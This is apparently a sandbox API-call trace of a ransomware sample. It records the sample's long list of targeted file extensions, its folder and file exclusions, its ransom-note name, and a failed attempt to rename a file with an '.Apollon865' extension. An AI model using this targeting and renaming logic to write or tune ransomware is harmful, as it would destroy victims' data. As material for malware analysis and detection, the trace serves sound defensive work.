	[0079.106] lstrlenW (lpString="cdb") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="cdb") returned 1
	[0079.106] lstrlenW (lpString="ckp") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="ckp") returned 1
	[0079.106] lstrlenW (lpString="cma") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="cma") returned 1
	[0079.106] lstrlenW (lpString="cpd") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="cpd") returned -1
	[0079.106] lstrlenW (lpString="dacpac") returned 6
	[0079.106] lstrcmpiW (lpString1="nt.cov", lpString2="dacpac") returned 1
	[0079.106] lstrlenW (lpString="dad") returned 3
	[0079.106] lstrcmpiW (lpString1="cov", lpString2="dad") returned -1
	[0079.106] lstrlenW (lpString="dadiagrams") returned 10
	[0079.106] lstrcmpiW (lpString1="fident.cov", lpString2="dadiagrams") returned 1
	[0079.107] lstrlenW (lpString="daschema") returned 8
	[0079.107] lstrcmpiW (lpString1="dent.cov", lpString2="daschema") returned 1
	[0079.107] lstrlenW (lpString="db-journal") returned 10
	[0079.107] lstrcmpiW (lpString1="fident.cov", lpString2="db-journal") returned 1
	[0079.107] lstrlenW (lpString="db-shm") returned 6
	[0079.107] lstrcmpiW (lpString1="nt.cov", lpString2="db-shm") returned 1
	[0079.107] lstrlenW (lpString="db-wal") returned 6
	[0079.107] lstrcmpiW (lpString1="nt.cov", lpString2="db-wal") returned 1
	[0079.107] lstrlenW (lpString="dbc") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dbc") returned -1
	[0079.107] lstrlenW (lpString="dbs") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dbs") returned -1
	[0079.107] lstrlenW (lpString="dbt") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dbt") returned -1
	[0079.107] lstrlenW (lpString="dbv") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dbv") returned -1
	[0079.107] lstrlenW (lpString="dbx") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dbx") returned -1
	[0079.107] lstrlenW (lpString="dcb") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dcb") returned -1
	[0079.107] lstrlenW (lpString="dct") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dct") returned -1
	[0079.107] lstrlenW (lpString="dcx") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dcx") returned -1
	[0079.107] lstrlenW (lpString="ddl") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="ddl") returned -1
	[0079.107] lstrlenW (lpString="dlis") returned 4
	[0079.107] lstrcmpiW (lpString1=".cov", lpString2="dlis") returned -1
	[0079.107] lstrlenW (lpString="dp1") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dp1") returned -1
	[0079.107] lstrlenW (lpString="dqy") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dqy") returned -1
	[0079.107] lstrlenW (lpString="dsk") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dsk") returned -1
	[0079.107] lstrlenW (lpString="dsn") returned 3
	[0079.107] lstrcmpiW (lpString1="cov", lpString2="dsn") returned -1
	[0079.107] lstrlenW (lpString="dtsx") returned 4
	[0079.107] lstrcmpiW (lpString1=".cov", lpString2="dtsx") returned -1
	[0079.108] lstrlenW (lpString="dxl") returned 3
	[0079.108] lstrcmpiW (lpString1="cov", lpString2="dxl") returned -1
	[0079.108] lstrlenW (lpString="eco") returned 3
	[0079.108] lstrcmpiW (lpString1="cov", lpString2="eco") returned -1
	[0079.108] lstrlenW (lpString="ecx") returned 3
	[0079.108] lstrcmpiW (lpString1="cov", lpString2="ecx") returned -1
	[0079.108] lstrlenW (lpString="edb") returned 3
	[0079.108] lstrcmpiW (lpString1="cov", lpString2="edb") returned -1
	[0079.108] lstrlenW (lpString="epim") returned 4
	[0079.108] lstrcmpiW (lpString1=".cov", lpString2="epim") returned -1
	[0079.108] lstrlenW (lpString="fcd") returned 3
	[0079.108] lstrcmpiW (lpString1="cov", lpString2="fcd") returned -1
	[0079.108] lstrlenW (lpString="fdb") returned 3
	[0079.108] lstrcmpiW (lpString1="cov", lpString2="fdb") returned -1
	[0079.108] lstrlenW (lpString="fic") returned 3
	[0079.108] lstrcmpiW (lpString1="cov", lpString2="fic") returned -1
	[0079.108] lstrlenW (lpString="flexolibrary") returned 12
	[0079.108] lstrcmpiW (lpString1="onfident.cov", lpString2="flexolibrary") returned 1
	[0079.108] lstrlenW (lpString="fm5") returned 3
	[0079.111] lstrcmpiW (lpString1="cov", lpString2="fm5") returned -1
	[0079.111] lstrlenW (lpString="fmp") returned 3
	[0079.111] lstrcmpiW (lpString1="cov", lpString2="fmp") returned -1
	[0079.111] lstrlenW (lpString="fmp12") returned 5
	[0079.111] lstrcmpiW (lpString1="t.cov", lpString2="fmp12") returned 1
	[0079.111] lstrlenW (lpString="fmpsl") returned 5
	[0079.112] lstrcmpiW (lpString1="t.cov", lpString2="fmpsl") returned 1
	[0079.112] lstrlenW (lpString="fol") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="fol") returned -1
	[0079.113] lstrlenW (lpString="fp3") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="fp3") returned -1
	[0079.113] lstrlenW (lpString="fp4") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="fp4") returned -1
	[0079.113] lstrlenW (lpString="fp5") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="fp5") returned -1
	[0079.113] lstrlenW (lpString="fp7") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="fp7") returned -1
	[0079.113] lstrlenW (lpString="fpt") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="fpt") returned -1
	[0079.113] lstrlenW (lpString="frm") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="frm") returned -1
	[0079.113] lstrlenW (lpString="gdb") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="gdb") returned -1
	[0079.113] lstrlenW (lpString="gdb") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="gdb") returned -1
	[0079.113] lstrlenW (lpString="grdb") returned 4
	[0079.113] lstrcmpiW (lpString1=".cov", lpString2="grdb") returned -1
	[0079.113] lstrlenW (lpString="gwi") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="gwi") returned -1
	[0079.113] lstrlenW (lpString="hdb") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="hdb") returned -1
	[0079.113] lstrlenW (lpString="his") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="his") returned -1
	[0079.113] lstrlenW (lpString="ib") returned 2
	[0079.113] lstrcmpiW (lpString1="ov", lpString2="ib") returned 1
	[0079.113] lstrlenW (lpString="idb") returned 3
	[0079.113] lstrcmpiW (lpString1="cov", lpString2="idb") returned -1
	[0079.114] lstrlenW (lpString="ihx") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="ihx") returned -1
	[0079.114] lstrlenW (lpString="itdb") returned 4
	[0079.114] lstrcmpiW (lpString1=".cov", lpString2="itdb") returned -1
	[0079.114] lstrlenW (lpString="itw") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="itw") returned -1
	[0079.114] lstrlenW (lpString="jet") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="jet") returned -1
	[0079.114] lstrlenW (lpString="jtx") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="jtx") returned -1
	[0079.114] lstrlenW (lpString="kdb") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="kdb") returned -1
	[0079.114] lstrlenW (lpString="kexi") returned 4
	[0079.114] lstrcmpiW (lpString1=".cov", lpString2="kexi") returned -1
	[0079.114] lstrlenW (lpString="kexic") returned 5
	[0079.114] lstrcmpiW (lpString1="t.cov", lpString2="kexic") returned 1
	[0079.114] lstrlenW (lpString="kexis") returned 5
	[0079.114] lstrcmpiW (lpString1="t.cov", lpString2="kexis") returned 1
	[0079.114] lstrlenW (lpString="lgc") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="lgc") returned -1
	[0079.114] lstrlenW (lpString="lwx") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="lwx") returned -1
	[0079.114] lstrlenW (lpString="maf") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="maf") returned -1
	[0079.114] lstrlenW (lpString="maq") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="maq") returned -1
	[0079.114] lstrlenW (lpString="mar") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="mar") returned -1
	[0079.114] lstrlenW (lpString="marshal") returned 7
	[0079.114] lstrcmpiW (lpString1="ent.cov", lpString2="marshal") returned -1
	[0079.114] lstrlenW (lpString="mas") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="mas") returned -1
	[0079.114] lstrlenW (lpString="mav") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="mav") returned -1
	[0079.114] lstrlenW (lpString="maw") returned 3
	[0079.114] lstrcmpiW (lpString1="cov", lpString2="maw") returned -1
	[0079.114] lstrlenW (lpString="mdbhtml") returned 7
	[0079.114] lstrcmpiW (lpString1="ent.cov", lpString2="mdbhtml") returned -1
	[0079.115] lstrlenW (lpString="mdn") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="mdn") returned -1
	[0079.115] lstrlenW (lpString="mdt") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="mdt") returned -1
	[0079.115] lstrlenW (lpString="mfd") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="mfd") returned -1
	[0079.115] lstrlenW (lpString="mpd") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="mpd") returned -1
	[0079.115] lstrlenW (lpString="mrg") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="mrg") returned -1
	[0079.115] lstrlenW (lpString="mud") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="mud") returned -1
	[0079.115] lstrlenW (lpString="mwb") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="mwb") returned -1
	[0079.115] lstrlenW (lpString="myd") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="myd") returned -1
	[0079.115] lstrlenW (lpString="ndf") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="ndf") returned -1
	[0079.115] lstrlenW (lpString="nnt") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="nnt") returned -1
	[0079.115] lstrlenW (lpString="nrmlib") returned 6
	[0079.115] lstrcmpiW (lpString1="nt.cov", lpString2="nrmlib") returned 1
	[0079.115] lstrlenW (lpString="ns2") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="ns2") returned -1
	[0079.115] lstrlenW (lpString="ns3") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="ns3") returned -1
	[0079.115] lstrlenW (lpString="ns4") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="ns4") returned -1
	[0079.115] lstrlenW (lpString="nsf") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="nsf") returned -1
	[0079.115] lstrlenW (lpString="nv") returned 2
	[0079.115] lstrcmpiW (lpString1="ov", lpString2="nv") returned 1
	[0079.115] lstrlenW (lpString="nv2") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="nv2") returned -1
	[0079.115] lstrlenW (lpString="nwdb") returned 4
	[0079.115] lstrcmpiW (lpString1=".cov", lpString2="nwdb") returned -1
	[0079.115] lstrlenW (lpString="nyf") returned 3
	[0079.115] lstrcmpiW (lpString1="cov", lpString2="nyf") returned -1
	[0079.115] lstrlenW (lpString="odb") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="odb") returned -1
	[0079.116] lstrlenW (lpString="odb") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="odb") returned -1
	[0079.116] lstrlenW (lpString="oqy") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="oqy") returned -1
	[0079.116] lstrlenW (lpString="ora") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="ora") returned -1
	[0079.116] lstrlenW (lpString="orx") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="orx") returned -1
	[0079.116] lstrlenW (lpString="owc") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="owc") returned -1
	[0079.116] lstrlenW (lpString="p96") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="p96") returned -1
	[0079.116] lstrlenW (lpString="p97") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="p97") returned -1
	[0079.116] lstrlenW (lpString="pan") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="pan") returned -1
	[0079.116] lstrlenW (lpString="pdb") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="pdb") returned -1
	[0079.116] lstrlenW (lpString="pdm") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="pdm") returned -1
	[0079.116] lstrlenW (lpString="pnz") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="pnz") returned -1
	[0079.116] lstrlenW (lpString="qry") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="qry") returned -1
	[0079.116] lstrlenW (lpString="qvd") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="qvd") returned -1
	[0079.116] lstrlenW (lpString="rbf") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="rbf") returned -1
	[0079.116] lstrlenW (lpString="rctd") returned 4
	[0079.116] lstrcmpiW (lpString1=".cov", lpString2="rctd") returned -1
	[0079.116] lstrlenW (lpString="rod") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="rod") returned -1
	[0079.116] lstrlenW (lpString="rodx") returned 4
	[0079.116] lstrcmpiW (lpString1=".cov", lpString2="rodx") returned -1
	[0079.116] lstrlenW (lpString="rpd") returned 3
	[0079.116] lstrcmpiW (lpString1="cov", lpString2="rpd") returned -1
	[0079.116] lstrlenW (lpString="rsd") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="rsd") returned -1
	[0079.117] lstrlenW (lpString="sas7bdat") returned 8
	[0079.117] lstrcmpiW (lpString1="dent.cov", lpString2="sas7bdat") returned -1
	[0079.117] lstrlenW (lpString="sbf") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="sbf") returned -1
	[0079.117] lstrlenW (lpString="scx") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="scx") returned -1
	[0079.117] lstrlenW (lpString="sdb") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="sdb") returned -1
	[0079.117] lstrlenW (lpString="sdc") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="sdc") returned -1
	[0079.117] lstrlenW (lpString="sdf") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="sdf") returned -1
	[0079.117] lstrlenW (lpString="sis") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="sis") returned -1
	[0079.117] lstrlenW (lpString="spq") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="spq") returned -1
	[0079.117] lstrlenW (lpString="te") returned 2
	[0079.117] lstrcmpiW (lpString1="ov", lpString2="te") returned -1
	[0079.117] lstrlenW (lpString="teacher") returned 7
	[0079.117] lstrcmpiW (lpString1="ent.cov", lpString2="teacher") returned -1
	[0079.117] lstrlenW (lpString="tmd") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="tmd") returned -1
	[0079.117] lstrlenW (lpString="tps") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="tps") returned -1
	[0079.117] lstrlenW (lpString="trc") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="trc") returned -1
	[0079.117] lstrlenW (lpString="trc") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="trc") returned -1
	[0079.117] lstrlenW (lpString="trm") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="trm") returned -1
	[0079.117] lstrlenW (lpString="udb") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="udb") returned -1
	[0079.117] lstrlenW (lpString="udl") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="udl") returned -1
	[0079.117] lstrlenW (lpString="usr") returned 3
	[0079.117] lstrcmpiW (lpString1="cov", lpString2="usr") returned -1
	[0079.117] lstrlenW (lpString="v12") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="v12") returned -1
	[0079.118] lstrlenW (lpString="vis") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="vis") returned -1
	[0079.118] lstrlenW (lpString="vpd") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="vpd") returned -1
	[0079.118] lstrlenW (lpString="vvv") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="vvv") returned -1
	[0079.118] lstrlenW (lpString="wdb") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="wdb") returned -1
	[0079.118] lstrlenW (lpString="wmdb") returned 4
	[0079.118] lstrcmpiW (lpString1=".cov", lpString2="wmdb") returned -1
	[0079.118] lstrlenW (lpString="wrk") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="wrk") returned -1
	[0079.118] lstrlenW (lpString="xdb") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="xdb") returned -1
	[0079.118] lstrlenW (lpString="xld") returned 3
	[0079.118] lstrcmpiW (lpString1="cov", lpString2="xld") returned -1
	[0079.118] lstrlenW (lpString="xmlff") returned 5
	[0079.118] lstrcmpiW (lpString1="t.cov", lpString2="xmlff") returned -1
	[0079.118] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov.Apollon865") returned 94
	[0079.118] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov.apollon865"), dwFlags=0x1) returned 0
	[0079.141] GetLastError () returned 0x5
	[0079.141] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov MoveFileEx error 5\r\n") returned 112
	[0079.141] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov MoveFileEx error 5\r\n") returned 112
	[0079.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0079.141] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x459c
	[0079.141] WriteFile (in: hFile=0x15c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x70, lpOverlapped=0x0) returned 1
	[0079.141] CloseHandle (hObject=0x15c) returned 1
	[0079.142] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0079.142] CloseHandle (hObject=0x0) returned 0
	[0079.142] CloseHandle (hObject=0x0) returned 0
	[0079.142] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="Apollon865.txt.exe") returned 1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2=".") returned 1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="..") returned 1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="windows") returned -1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="bootmgr") returned 1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="temp") returned -1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="pagefile.sys") returned -1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="boot") returned 1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="ids.txt") returned -1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="ntuser.dat") returned -1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="perflogs") returned -1
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2="MSBuild") returned -1
	[0079.142] lstrlenW (lpString="fyi.cov") returned 7
	[0079.142] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned 83
	[0079.142] lstrcpyW (in: lpString1=0x119e694, lpString2="fyi.cov" | out: lpString1="fyi.cov") returned="fyi.cov"
	[0079.142] lstrlenW (lpString="fyi.cov") returned 7
	[0079.142] lstrlenW (lpString="Apollon865") returned 10
	[0079.142] lstrlenW (lpString=".dll") returned 4
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2=".dll") returned 1
	[0079.142] lstrlenW (lpString=".lnk") returned 4
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2=".lnk") returned 1
	[0079.142] lstrlenW (lpString=".ini") returned 4
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2=".ini") returned 1
	[0079.142] lstrlenW (lpString=".sys") returned 4
	[0079.142] lstrcmpiW (lpString1="fyi.cov", lpString2=".sys") returned 1
	[0079.142] lstrlenW (lpString="fyi.cov") returned 7
	[0079.142] lstrlenW (lpString="bak") returned 3
	[0079.142] lstrcmpiW (lpString1="cov", lpString2="bak") returned 1
	[0079.142] lstrlenW (lpString="ba_") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="ba_") returned 1
	[0079.143] lstrlenW (lpString="dbb") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="dbb") returned -1
	[0079.143] lstrlenW (lpString="vmdk") returned 4
	[0079.143] lstrcmpiW (lpString1=".cov", lpString2="vmdk") returned -1
	[0079.143] lstrlenW (lpString="rar") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="rar") returned -1
	[0079.143] lstrlenW (lpString="zip") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="zip") returned -1
	[0079.143] lstrlenW (lpString="tgz") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="tgz") returned -1
	[0079.143] lstrlenW (lpString="vbox") returned 4
	[0079.143] lstrcmpiW (lpString1=".cov", lpString2="vbox") returned -1
	[0079.143] lstrlenW (lpString="vdi") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="vdi") returned -1
	[0079.143] lstrlenW (lpString="vhd") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="vhd") returned -1
	[0079.143] lstrlenW (lpString="vhdx") returned 4
	[0079.143] lstrcmpiW (lpString1=".cov", lpString2="vhdx") returned -1
	[0079.143] lstrlenW (lpString="avhd") returned 4
	[0079.143] lstrcmpiW (lpString1=".cov", lpString2="avhd") returned -1
	[0079.143] lstrlenW (lpString="db") returned 2
	[0079.143] lstrcmpiW (lpString1="ov", lpString2="db") returned 1
	[0079.143] lstrlenW (lpString="db2") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="db2") returned -1
	[0079.143] lstrlenW (lpString="db3") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="db3") returned -1
	[0079.143] lstrlenW (lpString="dbf") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="dbf") returned -1
	[0079.143] lstrlenW (lpString="mdf") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="mdf") returned -1
	[0079.143] lstrlenW (lpString="mdb") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="mdb") returned -1
	[0079.143] lstrlenW (lpString="sql") returned 3
	[0079.143] lstrcmpiW (lpString1="cov", lpString2="sql") returned -1
	[0079.143] lstrlenW (lpString="sqlite") returned 6
	[0079.143] lstrcmpiW (lpString1="yi.cov", lpString2="sqlite") returned 1
	[0079.143] lstrlenW (lpString="sqlite3") returned 7
	[0079.144] lstrlenW (lpString="sqlitedb") returned 8
	[0079.144] lstrlenW (lpString="xml") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="xml") returned -1
	[0079.144] lstrlenW (lpString="$er") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="$er") returned 1
	[0079.144] lstrlenW (lpString="4dd") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="4dd") returned 1
	[0079.144] lstrlenW (lpString="4dl") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="4dl") returned 1
	[0079.144] lstrlenW (lpString="^^^") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="^^^") returned 1
	[0079.144] lstrlenW (lpString="abs") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="abs") returned 1
	[0079.144] lstrlenW (lpString="abx") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="abx") returned 1
	[0079.144] lstrlenW (lpString="accdb") returned 5
	[0079.144] lstrcmpiW (lpString1="i.cov", lpString2="accdb") returned 1
	[0079.144] lstrlenW (lpString="accdc") returned 5
	[0079.144] lstrcmpiW (lpString1="i.cov", lpString2="accdc") returned 1
	[0079.144] lstrlenW (lpString="accde") returned 5
	[0079.144] lstrcmpiW (lpString1="i.cov", lpString2="accde") returned 1
	[0079.144] lstrlenW (lpString="accdr") returned 5
	[0079.144] lstrcmpiW (lpString1="i.cov", lpString2="accdr") returned 1
	[0079.144] lstrlenW (lpString="accdt") returned 5
	[0079.144] lstrcmpiW (lpString1="i.cov", lpString2="accdt") returned 1
	[0079.144] lstrlenW (lpString="accdw") returned 5
	[0079.144] lstrcmpiW (lpString1="i.cov", lpString2="accdw") returned 1
	[0079.144] lstrlenW (lpString="accft") returned 5
	[0079.144] lstrcmpiW (lpString1="i.cov", lpString2="accft") returned 1
	[0079.144] lstrlenW (lpString="adb") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="adb") returned 1
	[0079.144] lstrlenW (lpString="adb") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="adb") returned 1
	[0079.144] lstrlenW (lpString="ade") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="ade") returned 1
	[0079.144] lstrlenW (lpString="adf") returned 3
	[0079.144] lstrcmpiW (lpString1="cov", lpString2="adf") returned 1
	[0079.145] lstrlenW (lpString="adn") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="adn") returned 1
	[0079.145] lstrlenW (lpString="adp") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="adp") returned 1
	[0079.145] lstrlenW (lpString="alf") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="alf") returned 1
	[0079.145] lstrlenW (lpString="ask") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="ask") returned 1
	[0079.145] lstrlenW (lpString="btr") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="btr") returned 1
	[0079.145] lstrlenW (lpString="cat") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="cat") returned 1
	[0079.145] lstrlenW (lpString="cdb") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="cdb") returned 1
	[0079.145] lstrlenW (lpString="ckp") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="ckp") returned 1
	[0079.145] lstrlenW (lpString="cma") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="cma") returned 1
	[0079.145] lstrlenW (lpString="cpd") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="cpd") returned -1
	[0079.145] lstrlenW (lpString="dacpac") returned 6
	[0079.145] lstrcmpiW (lpString1="yi.cov", lpString2="dacpac") returned 1
	[0079.145] lstrlenW (lpString="dad") returned 3
